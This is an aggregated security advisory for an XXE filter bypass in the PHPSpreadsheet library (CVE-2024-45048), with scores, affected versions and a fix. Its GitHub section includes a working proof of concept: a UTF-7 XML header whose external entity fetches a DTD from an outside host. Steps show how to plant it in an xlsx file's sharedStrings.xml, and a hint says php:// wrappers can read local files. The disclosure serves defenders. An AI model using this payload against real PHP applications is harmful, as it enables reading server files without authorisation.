8.8high
XML External Entity Reference (XXE) in PHPSpreadsheet
- Severity
- 8.8high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.60% (higher than 50% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-ghg6-32f9-2jp7
Description
PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions are subject to a bypassing of a filter which allows for an XXE-attack. This in turn allows attacker to obtain contents of local files, even if error reporting is muted. This vulnerability has been addressed in release version 2.2.1. All users are advised to upgrade. There are no known workarounds for this vulnerability.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| PHPOffice PhpSpreadsheet | < 2.2.1, before 1.29.1, from 2.0.0 before 2.2.1 | CVE List, NVD |
| phpspreadsheet_project phpspreadsheet | before 2.2.1 | CVE List |
| phpoffice/phpspreadsheet (Packagist) | before 1.29.1, from 2.2.0 before 2.2.1, from 2.0.0 before 2.1.1 | GitHub Advisory Database |
| phpoffice/phpexcel (Packagist) | up to 1.8.2 | GitHub Advisory Database |
All scores
| GitHub_M | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| GitHub | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| NVD | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.
What each source says
CVE List
PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions are subject to a bypassing of a filter which allows for an XXE-attack. This in turn allows attacker to obtain contents of local files, even if error reporting is muted. This vulnerability has been addressed in release version 2.2.1. All users are advised to upgrade. There are no known workarounds for this vulnerability.
GitHub Advisory Database
Summary
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
Details
Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>
If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
PoC
- Create simple xlsx file
- Rename xlsx to zip
- Go to the zip and open the
xl/sharedStrings.xmlfile in edit mode. - Replace
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
- Save
sharedStrings.xmlfile and rename zip back to xlsx. - Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
- You will receive the request to your
http://%webhook%/file.dtd - Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.
Impact
Read local files lfi
NVD (es)
PHPSpreadsheet es una librería PHP pura para leer y escribir archivos de hojas de cálculo. Las versiones afectadas están sujetas a la omisión de un filtro que permite un ataque XXE. Esto, a su vez, permite al atacante obtener el contenido de los archivos locales, incluso si el informe de errores está silenciado. Esta vulnerabilidad se ha solucionado en la versión 2.2.1. Se recomienda a todos los usuarios que actualicen. No se conocen workarounds para esta vulnerabilidad.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2024-45048 changed 2024-08-29 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-ghg6-32f9-2jp7 changed 2025-03-06 | CC-BY-4.0 |
| NVD | CVE-2024-45048 changed 2026-06-17 | Public domain |